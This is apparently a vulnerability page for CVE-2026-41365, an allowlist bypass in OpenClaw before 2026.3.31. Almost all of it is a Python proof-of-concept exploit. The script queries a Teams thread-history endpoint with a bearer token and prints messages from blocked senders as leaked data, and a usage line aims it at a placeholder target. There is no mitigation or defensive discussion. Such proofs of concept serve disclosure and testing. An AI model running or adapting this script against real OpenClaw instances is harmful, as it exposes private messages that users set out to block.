CVE-2026-41365 OpenClaw白名单绕过漏洞

# PoC: Demonstrating the retrieval of non-whitelisted messages # Target: OpenClaw < 2026.3.31 import requests def exploit_openclaw(target_url, auth_token): """ This script simulates fetching MS Teams thread history via the vulnerable endpoint. Due to the lack of allowlist enforcement on history data, messages from blocked senders are returned. """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Endpoint to fetch thread history (Vulnerable path) history_endpoint = f"{target_url}/api/teams/history" try: response = requests.get(history_endpoint, headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved thread history.") # Iterate through messages to identify leaked data for message in data.get('messages', []): sender = message.get('sender_email') content = message.get('body') # In a secure scenario, '[email protected]' should not appear print(f"[!] Leaked message from: {sender}") print(f" Content: {content}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") # Usage # exploit_openclaw("https://target-openclaw-instance", "USER_TOKEN")